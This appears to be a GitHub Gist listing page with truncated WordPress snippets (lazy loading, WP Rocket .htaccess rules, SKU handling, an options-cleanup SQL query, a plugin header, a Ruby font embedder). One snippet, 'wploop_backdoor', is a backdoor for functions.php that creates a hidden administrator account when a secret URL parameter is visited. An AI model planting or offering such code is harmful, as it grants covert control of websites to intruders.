This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** Drafting **/ | |
add_filter('the_content', 'codetot_lazyload_home_sections', 1000); | |
function codetot_lazyload_home_sections( $content ) { | |
$front_page_id = get_option('page_on_front'); | |
if ( ! is_page( $front_page_id ) ) { | |
return $content; | |
} | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$product_id = 202; | |
$product_sku = 'SIFRA-1245'; | |
/* | |
This won't work because update_post_meta does not trigger necessary additions to product lookup tables and transients | |
*/ | |
update_post_meta($product_id, '_sku', $product_sku); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# BEGIN WP Rocket v3.4.0.5 | |
# Use UTF-8 encoding for anything served text/plain or text/html | |
AddDefaultCharset UTF-8 | |
# Force UTF-8 for a number of file formats | |
<IfModule mod_mime.c> | |
AddCharset UTF-8 .atom .css .js .json .rss .vtt .xml | |
</IfModule> | |
# FileETag None is not enough for every server. | |
<IfModule mod_headers.c> | |
Header unset ETag |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function enzothecat_add_lazy_loading($content) { | |
$content = preg_replace('/src="/', 'loading="lazy" src="', $content); | |
return $content; | |
} | |
add_filter('the_content', 'enzothecat_add_lazy_loading'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//Hit this URL after put code on functions.php : http://www.yourdomain.com/?backdoor=knockknock | |
//It will create username= name ; password= pass ; role= administrator on your wordpress backend users. | |
//After that you can login on your site with this username and password. | |
//change the 'backdoor' , 'knockknock' , 'name', 'pass' string on your code as your desire texts | |
<?php | |
add_action('wp_head', 'wploop_backdoor'); | |
function wploop_backdoor() { | |
If ($_GET['backdoor'] == 'knockknock') { | |
require('wp-includes/registration.php'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* | |
* Plugin Name: WooCommerce Enable Reviews - Bulk Edit | |
* Description: Allow enable reviews by bulk edit into WooCommerce | |
* Version: 1.0.0 | |
* Author: Mário Valney | |
* Author URI: http://mariovalney.com | |
* Text Domain: woo-enable-reviews-bulk-edit | |
* |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
DELETE FROM `wp_options` WHERE option_name IN ( | |
'userpro_activity', | |
'wpmandrill-stats', | |
'_transient_RCWFeed_Ms_b22d9dad80577a8e66a230777d91cc6e', | |
'userpro_cached_results', | |
'userpro_fields_groups_default', | |
'userpro_fields_groups', | |
'era_googleFonts', | |
'suppamenu_skin_redow', | |
'suppamenu_skin_ubuntus', |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Make sure the function does not exist before defining it | |
*/ | |
if( ! function_exists( 'remove_class_filter' ) ){ | |
/** | |
* Remove Class Filter Without Access to Class Object | |
* | |
* In order to use the core WordPress remove_filter() on a filter added with the callback |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/ruby | |
# encoding: utf-8 | |
# Grab google web fonts and embed them as base64 data URIs | |
# <http://brettterpstra.com/2015/03/14/embedding-google-web-fonts/> | |
require 'base64' | |
if ARGV.length > 0 | |
input = ARGV | |
elsif STDIN.stat.size > 0 | |
input = STDIN.read.strip.split(/\n+/) |
NewerOlder